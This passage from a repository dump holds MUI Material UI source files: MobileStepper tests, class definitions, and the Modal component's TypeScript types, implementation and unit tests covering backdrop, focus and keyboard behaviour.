});\n\n  it('should render two buttons and text displaying progress when supplied with variant text', () => {\n    const { container } = render(\n      <MobileStepper {...defaultProps} variant=\"text\" activeStep={1} steps={3} />,\n    );\n    expect(container.firstChild.textContent).to.equal('Back2 / 3Next');\n  });\n\n  it('should render dots when supplied with variant dots', () => {\n    const { container } = render(<MobileStepper {...defaultProps} variant=\"dots\" />);\n    expect(container.querySelectorAll(`.${classes.dots}`)).to.have.lengthOf(1);\n  });\n\n  it('should render a dot for each step when using dots variant', () => {\n    const { container } = render(<MobileStepper {...defaultProps} variant=\"dots\" />);\n    expect(container.querySelectorAll(`.${classes.dot}`)).to.have.lengthOf(2);\n  });\n\n  it('should render the first dot as active if activeStep is not set', () => {\n    const { container } = render(<MobileStepper {...defaultProps} variant=\"dots\" />);\n    expect(container.querySelector(`.${classes.dot}`)).to.has.class(classes.dotActive);\n  });\n\n  it('should honor the activeStep prop', () => {\n    const { container } = render(<MobileStepper {...defaultProps} variant=\"dots\" activeStep={1} />);\n    expect(container.querySelectorAll(`.${classes.dot}`)[1]).to.has.class(classes.dotActive);\n  });\n\n  it('should render a <LinearProgress /> when supplied with variant progress', () => {\n    render(<MobileStepper {...defaultProps} variant=\"progress\" />);\n    expect(screen.queryByRole('progressbar')).not.to.equal(null);\n  });\n\n  it('should calculate the <LinearProgress /> value correctly', () => {\n    const view = render(<MobileStepper {...defaultProps} variant=\"progress\" steps={3} />);\n    expect(screen.getByRole('progressbar').getAttribute('aria-valuenow')).to.equal('0');\n    view.rerender(<MobileStepper {...defaultProps} variant=\"progress\" steps={3} activeStep={1} />);\n    expect(screen.getByRole('progressbar').getAttribute('aria-valuenow')).to.equal('50');\n    view.rerender(<MobileStepper {...defaultProps} variant=\"progress\" steps={3} activeStep={2} />);\n    expect(screen.getByRole('progressbar').getAttribute('aria-valuenow')).to.equal('100');\n  });\n\n  it('should set value correctly when steps is set to 1', () => {\n    render(<MobileStepper {...defaultProps} variant=\"progress\" steps={1} />);\n    const progressBar = screen.getByRole('progressbar');\n    expect(progressBar.getAttribute('aria-valuenow')).to.equal('100');\n    fireEvent.click(screen.getByRole('button', { name: 'next' }));\n    expect(progressBar.getAttribute('aria-valuenow')).to.equal('100');\n    fireEvent.click(screen.getByRole('button', { name: 'back' }));\n    expect(progressBar.getAttribute('aria-valuenow')).to.equal('100');\n  });\n\n  it('should set value correctly when steps is updated between 1 & 2', () => {\n    const view = render(<MobileStepper {...defaultProps} variant=\"progress\" steps={1} />);\n    const progressBar = screen.getByRole('progressbar');\n    expect(progressBar.getAttribute('aria-valuenow')).to.equal('100');\n    view.rerender(<MobileStepper {...defaultProps} variant=\"progress\" steps={2} />);\n    expect(progressBar.getAttribute('aria-valuenow')).to.equal('0');\n    view.rerender(<MobileStepper {...defaultProps} variant=\"progress\" steps={1} />);\n    expect(progressBar.getAttribute('aria-valuenow')).to.equal('100');\n  });\n});\n"
  },
  {
    "path": "packages/mui-material/src/MobileStepper/index.d.ts",
    "content": "export { default } from './MobileStepper';\nexport * from './MobileStepper';\n\nexport { default as mobileStepperClasses } from './mobileStepperClasses';\nexport * from './mobileStepperClasses';\n"
  },
  {
    "path": "packages/mui-material/src/MobileStepper/index.js",
    "content": "export { default } from './MobileStepper';\n\nexport { default as mobileStepperClasses } from './mobileStepperClasses';\nexport * from './mobileStepperClasses';\n"
  },
  {
    "path": "packages/mui-material/src/MobileStepper/mobileStepperClasses.ts",
    "content": "import generateUtilityClasses from '@mui/utils/generateUtilityClasses';\nimport generateUtilityClass from '@mui/utils/generateUtilityClass';\n\nexport interface MobileStepperClasses {\n  /** Styles applied to the root element. */\n  root: string;\n  /** Styles applied to the root element if `position=\"bottom\"`. */\n  positionBottom: string;\n  /** Styles applied to the root element if `position=\"top\"`. */\n  positionTop: string;\n  /** Styles applied to the root element if `position=\"static\"`. */\n  positionStatic: string;\n  /** Styles applied to the dots container if `variant=\"dots\"`. */\n  dots: string;\n  /** Styles applied to each dot if `variant=\"dots\"`. */\n  dot: string;\n  /** Styles applied to a dot if `variant=\"dots\"` and this is the active step. */\n  dotActive: string;\n  /** Styles applied to the Linear Progress component if `variant=\"progress\"`. */\n  progress: string;\n}\n\nexport type MobileStepperClassKey = keyof MobileStepperClasses;\n\nexport function getMobileStepperUtilityClass(slot: string): string {\n  return generateUtilityClass('MuiMobileStepper', slot);\n}\n\nconst mobileStepperClasses: MobileStepperClasses = generateUtilityClasses('MuiMobileStepper', [\n  'root',\n  'positionBottom',\n  'positionTop',\n  'positionStatic',\n  'dots',\n  'dot',\n  'dotActive',\n  'progress',\n]);\n\nexport default mobileStepperClasses;\n"
  },
  {
    "path": "packages/mui-material/src/Modal/Modal.d.ts",
    "content": "import * as React from 'react';\nimport { SxProps } from '@mui/system';\nimport { OverrideProps } from '@mui/types';\nimport { SlotComponentProps } from '../utils/types';\nimport { PortalProps } from '../Portal';\nimport { Theme } from '../styles';\nimport Backdrop from '../Backdrop';\nimport { OverridableComponent } from '../OverridableComponent';\nimport { ModalClasses } from './modalClasses';\n\nexport interface ModalComponentsPropsOverrides {}\n\nexport interface ModalOwnerState extends ModalProps {\n  exited: boolean;\n}\n\nexport interface ModalSlots {\n  /**\n   * The component that renders the root.\n   * @default 'div'\n   */\n  root?: React.ElementType | undefined;\n  /**\n   * The component that renders the backdrop.\n   */\n  backdrop?: React.ElementType | undefined;\n}\n\nexport interface ModalOwnProps {\n  /**\n   * A single child content element.\n   */\n  children: React.ReactElement<unknown>;\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes?: Partial<ModalClasses> | undefined;\n  /**\n   * @ignore\n   */\n  className?: string | undefined;\n  /**\n   * When set to true the Modal waits until a nested Transition is completed before closing.\n   * @default false\n   */\n  closeAfterTransition?: boolean | undefined;\n  /**\n   * An HTML element or function that returns one.\n   * The `container` will have the portal children appended to it.\n   *\n   * You can also provide a callback, which is called in a React layout effect.\n   * This lets you set the container from a ref, and also makes server-side rendering possible.\n   *\n   * By default, it uses the body of the top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container?: PortalProps['container'] | undefined;\n  /**\n   * If `true`, the modal will not automatically shift focus to itself when it opens, and\n   * replace it to the last focused element when it closes.\n   * This also works correctly with any modal children that have the `disableAutoFocus` prop.\n   *\n   * Generally this should never be set to `true` as it makes the modal less\n   * accessible to assistive technologies, like screen readers.\n   * @default false\n   */\n  disableAutoFocus?: boolean | undefined;\n  /**\n   * If `true`, the modal will not prevent focus from leaving the modal while open.\n   *\n   * Generally this should never be set to `true` as it makes the modal less\n   * accessible to assistive technologies, like screen readers.\n   * @default false\n   */\n  disableEnforceFocus?: boolean | undefined;\n  /**\n   * The `children` will be under the DOM hierarchy of the parent component.\n   * @default false\n   */\n  disablePortal?: PortalProps['disablePortal'] | undefined;\n  /**\n   * If `true`, the modal will not restore focus to previously focused element once\n   * modal is hidden or unmounted.\n   * @default false\n   */\n  disableRestoreFocus?: boolean | undefined;\n  /**\n   * Disable the scroll lock behavior.\n   * @default false\n   */\n  disableScrollLock?: boolean | undefined;\n  /**\n   * If `true`, the backdrop is not rendered.\n   * @default false\n   */\n  hideBackdrop?: boolean | undefined;\n  /**\n   * Always keep the children in the DOM.\n   * This prop can be useful in SEO situation or\n   * when you want to maximize the responsiveness of the Modal.\n   * @default false\n   */\n  keepMounted?: boolean | undefined;\n  /**\n   * Callback fired when the component requests to be closed.\n   * The `reason` parameter can optionally be used to control the response to `onClose`.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"escapeKeyDown\"`, `\"backdropClick\"`.\n   */\n  onClose?:\n    | {\n        bivarianceHack(event: {}, reason: 'backdropClick' | 'escapeKeyDown'): void;\n      }['bivarianceHack']\n    | undefined;\n  /**\n   * A function called when a transition enters.\n   */\n  onTransitionEnter?: (() => void) | undefined;\n  /**\n   * A function called when a transition has exited.\n   */\n  onTransitionExited?: (() => void) | undefined;\n  /**\n   * If `true`, the component is shown.\n   */\n  open: boolean;\n  /**\n   * The components used for each slot inside the Modal.\n   * Either a string to use a HTML element or a component.\n   * @default {}\n   */\n  slots?: ModalSlots | undefined;\n  /**\n   * The props used for each slot inside the Modal.\n   * @default {}\n   */\n  slotProps?:\n    | {\n        root?:\n          | SlotComponentProps<'div', ModalComponentsPropsOverrides, ModalOwnerState>\n          | undefined;\n        backdrop?:\n          | SlotComponentProps<typeof Backdrop, ModalComponentsPropsOverrides, ModalOwnerState>\n          | undefined;\n      }\n    | undefined;\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx?: SxProps<Theme> | undefined;\n}\n\nexport interface ModalTypeMap<\n  RootComponent extends React.ElementType = 'div',\n  AdditionalProps = {},\n> {\n  props: AdditionalProps & ModalOwnProps;\n  defaultComponent: RootComponent;\n}\n\ntype ModalRootProps = NonNullable<ModalTypeMap['props']['slotProps']>['root'];\n\nexport declare const ModalRoot: React.FC<ModalRootProps>;\n\n/**\n * Modal is a lower-level construct that is leveraged by the following components:\n *\n * * [Dialog](https://next.mui.com/material-ui/api/dialog/)\n * * [Drawer](https://next.mui.com/material-ui/api/drawer/)\n * * [Menu](https://next.mui.com/material-ui/api/menu/)\n * * [Popover](https://next.mui.com/material-ui/api/popover/)\n *\n * If you are creating a modal dialog, you probably want to use the [Dialog](https://next.mui.com/material-ui/api/dialog/) component\n * rather than directly using Modal.\n *\n * This component shares many concepts with [react-overlays](https://react-bootstrap.github.io/react-overlays/#modals).\n *\n * Demos:\n *\n * - [Modal](https://next.mui.com/material-ui/react-modal/)\n *\n * API:\n *\n * - [Modal API](https://next.mui.com/material-ui/api/modal/)\n */\ndeclare const Modal: OverridableComponent<ModalTypeMap>;\n\nexport type ModalProps<\n  RootComponent extends React.ElementType = ModalTypeMap['defaultComponent'],\n  AdditionalProps = {},\n> = OverrideProps<ModalTypeMap<RootComponent, AdditionalProps>, RootComponent> & {\n  component?: React.ElementType | undefined;\n};\n\nexport default Modal;\n"
  },
  {
    "path": "packages/mui-material/src/Modal/Modal.js",
    "content": "'use client';\nimport * as React from 'react';\nimport PropTypes from 'prop-types';\nimport clsx from 'clsx';\nimport HTMLElementType from '@mui/utils/HTMLElementType';\nimport elementAcceptingRef from '@mui/utils/elementAcceptingRef';\nimport composeClasses from '@mui/utils/composeClasses';\nimport FocusTrap from '../Unstable_TrapFocus';\nimport Portal from '../Portal';\nimport { styled } from '../zero-styled';\nimport memoTheme from '../utils/memoTheme';\nimport { useDefaultProps } from '../DefaultPropsProvider';\nimport Backdrop from '../Backdrop';\nimport useModal from './useModal';\nimport { getModalUtilityClass } from './modalClasses';\nimport useSlot from '../utils/useSlot';\n\nconst useUtilityClasses = (ownerState) => {\n  const { open, exited, classes } = ownerState;\n\n  const slots = {\n    root: ['root', !open && exited && 'hidden'],\n    backdrop: ['backdrop'],\n  };\n\n  return composeClasses(slots, getModalUtilityClass, classes);\n};\n\nconst ModalRoot = styled('div', {\n  name: 'MuiModal',\n  slot: 'Root',\n  overridesResolver: (props, styles) => {\n    const { ownerState } = props;\n\n    return [styles.root, !ownerState.open && ownerState.exited && styles.hidden];\n  },\n})(\n  memoTheme(({ theme }) => ({\n    position: 'fixed',\n    zIndex: (theme.vars || theme).zIndex.modal,\n    right: 0,\n    bottom: 0,\n    top: 0,\n    left: 0,\n    variants: [\n      {\n        props: ({ ownerState }) => !ownerState.open && ownerState.exited,\n        style: {\n          visibility: 'hidden',\n        },\n      },\n    ],\n  })),\n);\n\nconst ModalBackdrop = styled(Backdrop, {\n  name: 'MuiModal',\n  slot: 'Backdrop',\n})({\n  zIndex: -1,\n});\n\n/**\n * Modal is a lower-level construct that is leveraged by the following components:\n *\n * - [Dialog](/material-ui/api/dialog/)\n * - [Drawer](/material-ui/api/drawer/)\n * - [Menu](/material-ui/api/menu/)\n * - [Popover](/material-ui/api/popover/)\n *\n * If you are creating a modal dialog, you probably want to use the [Dialog](/material-ui/api/dialog/) component\n * rather than directly using Modal.\n *\n * This component shares many concepts with [react-overlays](https://react-bootstrap.github.io/react-overlays/#modals).\n */\nconst Modal = React.forwardRef(function Modal(inProps, ref) {\n  const props = useDefaultProps({ name: 'MuiModal', props: inProps });\n  const {\n    classes: classesProp,\n    className,\n    closeAfterTransition = false,\n    children,\n    container,\n    component,\n    disableAutoFocus = false,\n    disableEnforceFocus = false,\n    disablePortal = false,\n    disableRestoreFocus = false,\n    disableScrollLock = false,\n    hideBackdrop = false,\n    keepMounted = false,\n    onClose,\n    onTransitionEnter,\n    onTransitionExited,\n    open,\n    slotProps = {},\n    slots = {},\n    // eslint-disable-next-line react/prop-types\n    theme,\n    ...other\n  } = props;\n\n  const propsWithDefaults = {\n    ...props,\n    closeAfterTransition,\n    disableAutoFocus,\n    disableEnforceFocus,\n    disablePortal,\n    disableRestoreFocus,\n    disableScrollLock,\n    hideBackdrop,\n    keepMounted,\n  };\n\n  const {\n    getRootProps,\n    getBackdropProps,\n    getTransitionProps,\n    portalRef,\n    isTopModal,\n    exited,\n    hasTransition,\n  } = useModal({\n    ...propsWithDefaults,\n    rootRef: ref,\n  });\n\n  const ownerState = {\n    ...propsWithDefaults,\n    exited,\n  };\n\n  const classes = useUtilityClasses(ownerState);\n\n  const childProps = {};\n  if (children.props.tabIndex === undefined) {\n    childProps.tabIndex = '-1';\n  }\n\n  // It's a Transition like component\n  if (hasTransition) {\n    const { onEnter, onExited } = getTransitionProps();\n    childProps.onEnter = onEnter;\n    childProps.onExited = onExited;\n  }\n\n  const externalForwardedProps = { slots, slotProps };\n\n  const [RootSlot, rootProps] = useSlot('root', {\n    ref,\n    elementType: ModalRoot,\n    externalForwardedProps: {\n      ...externalForwardedProps,\n      ...other,\n      component,\n    },\n    getSlotProps: getRootProps,\n    ownerState,\n    className: clsx(\n      className,\n      classes?.root,\n      !ownerState.open && ownerState.exited && classes?.hidden,\n    ),\n  });\n\n  const [BackdropSlot, backdropProps] = useSlot('backdrop', {\n    elementType: ModalBackdrop,\n    externalForwardedProps,\n    shouldForwardComponentProp: true,\n    getSlotProps: (otherHandlers) => {\n      return getBackdropProps({\n        ...otherHandlers,\n        onClick: (event) => {\n          if (otherHandlers?.onClick) {\n            otherHandlers.onClick(event);\n          }\n        },\n      });\n    },\n    className: classes?.backdrop,\n    ownerState,\n  });\n\n  if (!keepMounted && !open && (!hasTransition || exited)) {\n    return null;\n  }\n\n  return (\n    <Portal ref={portalRef} container={container} disablePortal={disablePortal}>\n      <RootSlot {...rootProps}>\n        {!hideBackdrop ? <BackdropSlot {...backdropProps} /> : null}\n        <FocusTrap\n          disableEnforceFocus={disableEnforceFocus}\n          disableAutoFocus={disableAutoFocus}\n          disableRestoreFocus={disableRestoreFocus}\n          isEnabled={isTopModal}\n          open={open}\n        >\n          {React.cloneElement(children, childProps)}\n        </FocusTrap>\n      </RootSlot>\n    </Portal>\n  );\n});\n\nModal.propTypes /* remove-proptypes */ = {\n  // ┌────────────────────────────── Warning ──────────────────────────────┐\n  // │ These PropTypes are generated from the TypeScript type definitions. │\n  // │    To update them, edit the d.ts file and run `pnpm proptypes`.     │\n  // └─────────────────────────────────────────────────────────────────────┘\n  /**\n   * A single child content element.\n   */\n  children: elementAcceptingRef.isRequired,\n  /**\n   * Override or extend the styles applied to the component.\n   */\n  classes: PropTypes.object,\n  /**\n   * @ignore\n   */\n  className: PropTypes.string,\n  /**\n   * When set to true the Modal waits until a nested Transition is completed before closing.\n   * @default false\n   */\n  closeAfterTransition: PropTypes.bool,\n  /**\n   * The component used for the root node.\n   * Either a string to use a HTML element or a component.\n   */\n  component: PropTypes.elementType,\n  /**\n   * An HTML element or function that returns one.\n   * The `container` will have the portal children appended to it.\n   *\n   * You can also provide a callback, which is called in a React layout effect.\n   * This lets you set the container from a ref, and also makes server-side rendering possible.\n   *\n   * By default, it uses the body of the top-level document object,\n   * so it's simply `document.body` most of the time.\n   */\n  container: PropTypes /* @typescript-to-proptypes-ignore */.oneOfType([\n    HTMLElementType,\n    PropTypes.func,\n  ]),\n  /**\n   * If `true`, the modal will not automatically shift focus to itself when it opens, and\n   * replace it to the last focused element when it closes.\n   * This also works correctly with any modal children that have the `disableAutoFocus` prop.\n   *\n   * Generally this should never be set to `true` as it makes the modal less\n   * accessible to assistive technologies, like screen readers.\n   * @default false\n   */\n  disableAutoFocus: PropTypes.bool,\n  /**\n   * If `true`, the modal will not prevent focus from leaving the modal while open.\n   *\n   * Generally this should never be set to `true` as it makes the modal less\n   * accessible to assistive technologies, like screen readers.\n   * @default false\n   */\n  disableEnforceFocus: PropTypes.bool,\n  /**\n   * The `children` will be under the DOM hierarchy of the parent component.\n   * @default false\n   */\n  disablePortal: PropTypes.bool,\n  /**\n   * If `true`, the modal will not restore focus to previously focused element once\n   * modal is hidden or unmounted.\n   * @default false\n   */\n  disableRestoreFocus: PropTypes.bool,\n  /**\n   * Disable the scroll lock behavior.\n   * @default false\n   */\n  disableScrollLock: PropTypes.bool,\n  /**\n   * If `true`, the backdrop is not rendered.\n   * @default false\n   */\n  hideBackdrop: PropTypes.bool,\n  /**\n   * Always keep the children in the DOM.\n   * This prop can be useful in SEO situation or\n   * when you want to maximize the responsiveness of the Modal.\n   * @default false\n   */\n  keepMounted: PropTypes.bool,\n  /**\n   * Callback fired when the component requests to be closed.\n   * The `reason` parameter can optionally be used to control the response to `onClose`.\n   *\n   * @param {object} event The event source of the callback.\n   * @param {string} reason Can be: `\"escapeKeyDown\"`, `\"backdropClick\"`.\n   */\n  onClose: PropTypes.func,\n  /**\n   * A function called when a transition enters.\n   */\n  onTransitionEnter: PropTypes.func,\n  /**\n   * A function called when a transition has exited.\n   */\n  onTransitionExited: PropTypes.func,\n  /**\n   * If `true`, the component is shown.\n   */\n  open: PropTypes.bool.isRequired,\n  /**\n   * The props used for each slot inside the Modal.\n   * @default {}\n   */\n  slotProps: PropTypes.shape({\n    backdrop: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n    root: PropTypes.oneOfType([PropTypes.func, PropTypes.object]),\n  }),\n  /**\n   * The components used for each slot inside the Modal.\n   * Either a string to use a HTML element or a component.\n   * @default {}\n   */\n  slots: PropTypes.shape({\n    backdrop: PropTypes.elementType,\n    root: PropTypes.elementType,\n  }),\n  /**\n   * The system prop that allows defining system overrides as well as additional CSS styles.\n   */\n  sx: PropTypes.oneOfType([\n    PropTypes.arrayOf(PropTypes.oneOfType([PropTypes.func, PropTypes.object, PropTypes.bool])),\n    PropTypes.func,\n    PropTypes.object,\n  ]),\n};\n\nexport default Modal;\n"
  },
  {
    "path": "packages/mui-material/src/Modal/Modal.spec.tsx",
    "content": "import Modal, { ModalProps } from '@mui/material/Modal';\n\n<Modal open slotProps={{ backdrop: { onEntered: () => console.log('entered') } }}>\n  <div />\n</Modal>;\n\n// slotProps slots as object\n<Modal open slotProps={{ backdrop: { invisible: true }, root: { id: 'modal' } }}>\n  <div />\n</Modal>;\n\n// slotProps slots as function\n<Modal\n  open\n  slotProps={{\n    root: ({ disableAutoFocus }) => ({ className: disableAutoFocus ? '' : 'focused' }),\n    backdrop: ({ exited }) => ({ className: exited ? 'hidden' : '' }),\n  }}\n>\n  <div />\n</Modal>;\n"
  },
  {
    "path": "packages/mui-material/src/Modal/Modal.test.js",
    "content": "import * as React from 'react';\nimport * as ReactDOM from 'react-dom';\nimport { expect } from 'chai';\nimport { spy } from 'sinon';\nimport PropTypes from 'prop-types';\nimport { act, createRenderer, fireEvent, within, screen, isJsdom } from '@mui/internal-test-utils';\nimport { createTheme, ThemeProvider } from '@mui/material/styles';\nimport Fade from '@mui/material/Fade';\nimport Modal, { modalClasses as classes } from '@mui/material/Modal';\nimport describeConformance from '../../test/describeConformance';\n\ndescribe('<Modal />', () => {\n  const { clock, render } = createRenderer();\n\n  let savedBodyStyle;\n\n  beforeAll(() => {\n    savedBodyStyle = document.body.style;\n  });\n\n  beforeEach(() => {\n    document.body.setAttribute('style', savedBodyStyle);\n  });\n\n  describeConformance(\n    <Modal open>\n      <div />\n    </Modal>,\n    () => ({\n      classes,\n      inheritComponent: 'div',\n      render,\n      muiName: 'MuiModal',\n      refInstanceof: window.HTMLDivElement,\n      testVariantProps: { hideBackdrop: true },\n      slots: {\n        root: { expectedClassName: classes.root },\n        backdrop: { expectedClassName: classes.backdrop },\n      },\n      skip: [\n        'rootClass', // portal, can't determine the root\n        'themeDefaultProps', // portal, can't determine the root\n        'themeStyleOverrides', // portal, can't determine the root\n      ],\n    }),\n  );\n\n  describe('props:', () => {\n    let container;\n\n    beforeAll(() => {\n      container = document.createElement('div');\n      document.body.appendChild(container);\n    });\n\n    afterAll(() => {\n      document.body.removeChild(container);\n    });\n\n    it('should consume theme default props', () => {\n      const theme = createTheme({ components: { MuiModal: { defaultProps: { container } } } });\n      render(\n        <ThemeProvider theme={theme}>\n          <Modal open>\n            <p id=\"content\">Hello World</p>\n          </Modal>\n        </ThemeProvider>,\n      );\n\n      expect(container).to.have.text('Hello World');\n    });\n  });\n\n  describe('prop: classes', () => {\n    it('adds custom classes to the component', () => {\n      render(\n        <Modal data-testid=\"Portal\" open classes={{ root: 'custom-root', hidden: 'custom-hidden' }}>\n          <div />\n        </Modal>,\n      );\n\n      expect(screen.getByTestId('Portal')).to.have.class(classes.root);\n      expect(screen.getByTestId('Portal')).to.have.class('custom-root');\n      expect(screen.getByTestId('Portal')).not.to.have.class('custom-hidden');\n    });\n  });\n\n  describe('prop: open', () => {\n    it('should not render the children by default', () => {\n      render(\n        <Modal open={false}>\n          <p data-testid=\"content\">Hello World</p>\n        </Modal>,\n      );\n\n      expect(screen.queryByTestId('content')).to.equal(null);\n    });\n\n    it('renders the children inside a div through a portal when open', () => {\n      render(\n        <Modal data-testid=\"Portal\" open>\n          <p>Hello World</p>\n        </Modal>,\n      );\n\n      expect(screen.getByTestId('Portal')).to.have.tagName('div');\n    });\n\n    it('makes the child focusable without adding a role', () => {\n      render(\n        <Modal open>\n          <div data-testid=\"child\">Hello World</div>\n        </Modal>,\n      );\n\n      expect(screen.getByTestId('child')).not.to.have.attribute('role');\n      expect(screen.getByTestId('child')).to.have.attribute('tabIndex', '-1');\n    });\n  });\n\n  describe('backdrop', () => {\n    it('can render a custom backdrop component', () => {\n      function TestBackdrop(props) {\n        const { open } = props;\n        if (!open) {\n          return null;\n        }\n\n        return <div data-testid=\"backdrop\" />;\n      }\n\n      render(\n        <Modal open slots={{ backdrop: TestBackdrop }}>\n          <div />\n        </Modal>,\n      );\n\n      expect(screen.getByTestId('backdrop')).not.to.equal(null);\n    });\n\n    it('should render a backdrop component into the portal before the modal content', () => {\n      render(\n        <Modal open data-testid=\"modal\">\n          <div data-testid=\"container\" />\n        </Modal>,\n      );\n\n      const modal = screen.getByTestId('modal');\n      const container = screen.getByTestId('container');\n      expect(modal.children).to.have.length(4);\n      expect(modal.children[0]).not.to.equal(undefined);\n      expect(modal.children[0]).not.to.equal(null);\n      expect(modal.children[2]).to.equal(container);\n    });\n\n    it('should pass prop to the transition component', () => {\n      function TestBackdrop(props) {\n        const { open, transitionDuration } = props;\n        if (!open) {\n          return null;\n        }\n\n        return <div data-testid=\"backdrop\" data-timeout={transitionDuration} />;\n      }\n      render(\n        <Modal\n          open\n          slots={{ backdrop: TestBackdrop }}\n          slotProps={{\n            backdrop: {\n              transitionDuration: 200,\n            },\n          }}\n        >\n          <div />\n        </Modal>,\n      );\n\n      expect(screen.getByTestId('backdrop')).to.have.attribute('data-timeout', '200');\n    });\n\n    it('should attach a handler to the backdrop that fires onClose', () => {\n      const onClose = spy();\n\n      render(\n        <Modal\n          onClose={onClose}\n          open\n          slotProps={{\n            backdrop: {\n              'data-testid': 'backdrop',\n            },\n          }}\n        >\n          <div />\n        </Modal>,\n      );\n\n      screen.getByTestId('backdrop').click();\n\n      expect(onClose).to.have.property('callCount', 1);\n    });\n\n    it('should let the user disable backdrop click triggering onClose', () => {\n      function ModalWithDisabledBackdropClick(props) {\n        const { onClose, ...other } = props;\n        function handleClose(event, reason) {\n          if (reason !== 'backdropClick') {\n            onClose(event, reason);\n          }\n        }\n\n        return <Modal onClose={handleClose} {...other} />;\n      }\n      const onClose = spy();\n\n      render(\n        <ModalWithDisabledBackdropClick\n          onClose={onClose}\n          open\n          slotProps={{ backdrop: { 'data-testid': 'backdrop' } }}\n        >\n          <div />\n        </ModalWithDisabledBackdropClick>,\n      );\n\n      screen.getByTestId('backdrop').click();\n\n      expect(onClose).to.have.property('callCount', 0);\n    });\n  });\n\n  describe('hide backdrop', () => {\n    it('should not render a backdrop component into the portal before the modal content', () => {\n      render(\n        <Modal open hideBackdrop data-testid=\"modal\">\n          <div data-testid=\"container\" />\n        </Modal>,\n      );\n\n      const modal = screen.getByTestId('modal');\n      const container = screen.getByTestId('container');\n      expect(modal.children).to.have.length(3);\n      expect(modal.children[1]).to.equal(container);\n    });\n  });\n\n  describe('event: keydown', () => {\n    it('when mounted, TopModal and event not esc should not call given functions', () => {\n      const onCloseSpy = spy();\n\n      render(\n        <Modal open onClose={onCloseSpy}>\n          <div data-testid=\"modal\" tabIndex={-1} />\n        </Modal>,\n      );\n\n      act(() => {\n        screen.getByTestId('modal').focus();\n      });\n\n      fireEvent.keyDown(screen.getByTestId('modal'), {\n        key: 'j', // Not escape\n      });\n\n      expect(onCloseSpy).to.have.property('callCount', 0);\n    });\n\n    it('should call onClose when Esc is pressed and stop event propagation', () => {\n      const handleKeyDown = spy();\n      const onCloseSpy = spy();\n\n      render(\n        <div onKeyDown={handleKeyDown}>\n          <Modal open onClose={onCloseSpy}>\n            <div data-testid=\"modal\" tabIndex={-1} />\n          </Modal>\n        </div>,\n      );\n\n      act(() => {\n        screen.getByTestId('modal').focus();\n      });\n\n      fireEvent.keyDown(screen.getByTestId('modal'), {\n        key: 'Escape',\n      });\n\n      expect(onCloseSpy).to.have.property('callCount', 1);\n      expect(handleKeyDown).to.have.property('callCount', 0);\n    });\n\n    it('should let the user disable escape key down triggering onClose', () => {\n      function ModalWithDisabledEscapeKeyDown(props) {\n        const { onClose, ...other } = props;\n        function handleClose(event, reason) {\n          if (reason !== 'escapeKeyDown') {\n            onClose(event, reason);\n          }\n        }\n\n        return <Modal onClose={handleClose} {...other} />;\n      }\n      const onClose = spy();\n\n      render(\n        <ModalWithDisabledEscapeKeyDown onClose={onClose} open>\n          <div data-testid=\"modal\" />\n        </ModalWithDisabledEscapeKeyDown>,\n      );\n\n      fireEvent.focus(screen.getByTestId('modal'));\n      fireEvent.keyDown(screen.getByTestId('modal'), {\n        key: 'Escape',\n      });\n\n      expect(onClose).to.have.property('callCount', 0);\n    });\n\n    it('calls onKeyDown on the Modal', () => {\n      const handleKeyDown = spy();\n\n      render(\n        <Modal open onKeyDown={handleKeyDown}>\n          <button autoFocus data-testid=\"target\" />\n        </Modal>,\n      );\n\n      fireEvent.keyDown(screen.getByTestId('target'), { key: 'j' });\n\n      expect(handleKeyDown).to.have.property('callCount', 1);\n    });\n  });\n\n  describe('prop: keepMounted', () => {\n    it('should keep the children in the DOM', () => {\n      render(\n        <Modal keepMounted open={false}>\n          <div>\n            <p data-testid=\"children\">Hello World</p>\n          </div>\n        </Modal>,\n      );\n\n      expect(screen.getByTestId('children')).not.to.equal(null);\n    });\n\n    it('does not include the children in the a11y tree', () => {\n      const modalRef = React.createRef();\n      const { setProps } = render(\n        <Modal keepMounted open={false} ref={modalRef}>\n          <div>ModalContent</div>\n        </Modal>,\n      );\n      const modalNode = modalRef.current;\n      expect(modalNode).toBeInaccessible();\n\n      setProps({ open: true });\n      expect(modalNode).not.toBeInaccessible();\n    });\n\n    // Test case for https://github.com/mui/material-ui/issues/15180\n    // TODO: how does this relate to `keepMounted`\n    // TODO: never finishes\n    it('should remove the transition children in the DOM when closed whilst transition status is entering', () => {\n      class OpenClose extends React.Component {\n        state = {\n          open: false,\n        };\n\n        handleClick = () => {\n          this.setState({ open: true }, () => {\n            this.setState({ open: false });\n          });\n        };\n\n        render() {\n          return (\n            <div>\n              <button type=\"button\" onClick={this.handleClick}>\n                Toggle Tooltip\n              </button>\n              <Modal open={this.state.open}>\n                <Fade in={this.state.open}>\n                  <span>\n                    <p data-testid=\"children\">Hello World</p>\n                  </span>\n                </Fade>\n              </Modal>\n            </div>\n          );\n        }\n      }\n      render(<OpenClose />);\n      expect(screen.queryByTestId('children')).to.equal(null);\n\n      act(() => {\n        screen.getByRole('button').click();\n      });\n\n      expect(screen.queryByTestId('children')).to.equal(null);\n    });\n  });\n\n  describe('focus', () => {\n    let initialFocus = null;\n\n    beforeEach(() => {\n      initialFocus = document.createElement('button');\n      initialFocus.tabIndex = 0;\n      document.body.appendChild(initialFocus);\n      act(() => {\n        initialFocus.focus();\n      });\n    });\n\n    afterEach(() => {\n      document.body.removeChild(initialFocus);\n    });\n\n    it('should focus on the modal when it is opened', () => {\n      const { setProps } = render(\n        <Modal open>\n          <div data-testid=\"modal\">Foo</div>\n        </Modal>,\n      );\n\n      expect(screen.getByTestId('modal')).toHaveFocus();\n\n      setProps({ open: false });\n\n      expect(initialFocus).toHaveFocus();\n    });\n\n    it('should support autoFocus', () => {\n      const { setProps } = render(\n        <Modal open>\n          <div>\n            <input data-testid=\"auto-focus\" type=\"text\" autoFocus />\n          </div>\n        </Modal>,\n        // TODO: https://github.com/reactwg/react-18/discussions/18#discussioncomment-893076\n        { strictEffects: false },\n      );\n\n      expect(screen.getByTestId('auto-focus')).toHaveFocus();\n\n      setProps({ open: false });\n\n      expect(initialFocus).toHaveFocus();\n    });\n\n    it('should keep focus on the modal when it is closed', () => {\n      const { setProps } = render(\n        <Modal open disableRestoreFocus>\n          <div data-testid=\"modal\">Foo</div>\n        </Modal>,\n      );\n\n      expect(screen.getByTestId('modal')).toHaveFocus();\n\n      setProps({ 